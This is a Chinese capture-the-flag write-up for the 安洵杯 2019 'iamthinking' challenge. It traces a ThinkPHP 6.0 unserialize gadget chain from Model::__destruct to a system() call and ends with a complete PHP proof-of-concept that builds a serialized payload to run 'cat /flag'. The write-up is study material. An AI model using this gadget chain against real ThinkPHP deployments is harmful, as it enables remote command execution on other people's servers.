zoukankan      html  css  js  c++  java
  • [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞

    [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞

    刚开始是403,扫描以下目录,扫描到三个目录。

    [18:06:19] 200 -    1KB - /README.md
    [18:06:19] 200 -   34B  - /.gitignore
    [18:06:26] 200 -  880KB - /www.zip  
    

    通过README可以看到是ThinkPHP6.0。

    我们现在只能到index頁面,全局搜索一下unserialize,发现在index.php下存在着反序列化的地方。

    同时payload参数可控,通过GET方式就能传递到。

    接下来要找反序列的点,全局distruct,先从这个点开始审计。

    发现只有六处,反序列的点,依次查看。

    Mongo处无法利用

    free,close都无法利用,只是释放参数。

    connection处同理。

    看向Model.php。

    看到save函数,感觉是能操作的。

    public function __destruct()
    {
        if ($this->lazySave) {
            $this->save();
        }
    }
    

    条件lazysave是设为true,默认为flase。

    跟进save方法。

     public function save(array $data = [], string $sequence = null): bool
        {
            // 数据对象赋值
            $this->setAttrs($data);
    
            if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
                return false;
            }
    
            $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
    
            if (false === $result) {
                return false;
            }
    
            // 写入回调
            $this->trigger('AfterWrite');
    
            // 重新记录原始数据
            $this->origin   = $this->data;
            $this->set      = [];
            $this->lazySave = false;
    
            return true;
        }
    

    需要满足$this->isEmpty()不成立,$this->trigger('BeforeWrite')为TRUE。
    跟进isEmpty:

    return empty($this->data);
    

    即data不设置即可。

    跟进tigger:

        if (!$this->withEvent) {
            return true;
        }
    

    让$this->withEvent为flase即可。

    跟进upadteData方法以及insertData方法。

    protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }
    
        $this->checkData();
    
        // 获取有更新的数据
        $data = $this->getChangedData();
    
        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }
    
            return true;
        }
    
        if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }
    
        // 检查允许字段
        $allowFields = $this->checkAllowFields();
    
        foreach ($this->relationWrite as $name => $val) {
            if (!is_array($val)) {
                continue;
            }
    
            foreach ($val as $key) {
                if (isset($data[$key])) {
                    unset($data[$key]);
                }
            }
        }
    
        // 模型更新
        $db = $this->db();
        $db->startTrans();
    
        try {
            $where  = $this->getWhere();
            $result = $db->where($where)
                ->strict(false)
                ->field($allowFields)
                ->update($data);
    
            $this->checkResult($result);
    
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }
    
            $db->commit();
    
            // 更新回调
            $this->trigger('AfterUpdate');
    
            return true;
        } catch (Exception $e) {
            $db->rollback();
            throw $e;
        }
    }
    

    继续跟进checkAllowFields

    发现文字拼接:

    $this->table . $this->suffix  
    

    能够被利用触发toString方法。

    进入到这一步的条件就是: $this->field为空,且$this->schema也为空。
    即: $this->field = []; $this->schema = [];

    同时这里还有一个判断,即$this->table,当为true是才能执行字符串的拼接。

    所以为了能让这个方法被调用到,我们要让exists存在。
    即 $this->exists =True

    关于toString魔术方法,他是在Conversion.php当中。

    public function __toString()
    {
        return $this->toJson();
    }
    

    继续查看tojson这个函数:

    public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
    {
        return json_encode($this->toArray(), $options);
    }
    

    跟进到toArray方法。

              elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
    

    再看到getAttr方法:

    public function getAttr(string $name)
    {
        try {
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $relation = $this->isRelationAttr($name);
            $value    = null;
        }
    
        return $this->getValue($name, $value, $relation);
    }
    

    跟进getData方法:

    if (is_null($name)) {
            return $this->data;
        }
    
        $fieldName = $this->getRealFieldName($name);
    

    进入到getRealFieldName方法:

       protected function getRealFieldName(string $name): string
        {
            return $this->strict ? $name : Str::snake($name);
        }
        if (array_key_exists($fieldName, $this->data)) {
            return $this->data[$fieldName];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }      
    

    如果$this->strict为True,返回$name。

    此时再getData方法中:

    $this->data[$fielName] = $this->data[$key]

    此时再getAttr中就是: $this->getValue($key, $value, null);

    跟进getvalue:

    protected function getValue(string $name, $value, $relation = false)
    {
        // 检测属性获取器
        $fieldName = $this->getRealFieldName($name);
        $method    = 'get' . Str::studly($name) . 'Attr';
    
        if (isset($this->withAttr[$fieldName])) {
            if ($relation) {
                $value = $this->getRelationValue($relation);
            }
    
            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
                $value = $this->getJsonValue($fieldName, $value);
            }else {
                //$fieldName = a
                //withAttr[a] = system
                $closure = $this->withAttr[$fieldName];
                //value = system(ls,)
                $value   = $closure($value, $this->data);
            }
    

    可以很明显看到:

    当$this->withAttr[$key]不为数组条件就会为false,从而触发命令执行

    poc:

    <?php
    namespace thinkmodelconcern {
        trait Conversion
        {    
        }
    
        trait Attribute
        {
            private $data;
            private $withAttr = ["xxx" => "system"];
    
            public function get()
            {
                $this->data = ["xxx" => "cat /flag"];
            }
        }
    }
    
    namespace think{
        abstract class Model{
        use modelconcernAttribute;
        use modelconcernConversion;
        private $lazySave;
        protected $withEvent;
        private $exists;
        private $force;
        protected $field;
        protected $schema;
        protected $table;
        function __construct(){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->exists = true;
            $this->force = true;
            $this->field = [];
            $this->schema = [];
            $this->table = true;
        }
    }
    }
    
    namespace thinkmodel{
    
    use thinkModel;
    
    class Pivot extends Model
    {
        function __construct($obj='')
        {
            //定义this->data不为空
            parent::__construct();
            $this->get();
            $this->table = $obj;
        }
    }
    
    
    $a = new Pivot();
    $b = new Pivot($a);
    
    echo urlencode(serialize($b));
    }
    

    这个poc是网上找的,跟我写的思路可能有些地方不太一致。

  • 相关阅读:
    原创:搜索算法之两个数组取交集的算法
    原创:中文分词的逆向最大匹配算法
    搜索推荐系统根据用户搜索频率(热搜)排序
    原创:Solr Wiki 中关于Suggester(搜索推荐)的简单解读
    从海量文本中统计出前k个频率最高的词语
    原创:从海量数据中查找出前k个最小或最大值的算法(java)
    NOIWC2019 懵逼记
    BZOJ 4568: [Scoi2016]幸运数字(倍增+线性基)
    BZOJ 3207: 花神的嘲讽计划Ⅰ(莫队+哈希)
    BZOJ 3653: 谈笑风生(主席树)
  • 原文地址:https://www.cnblogs.com/ophxc/p/13334110.html
Copyright © 2011-2022 走看看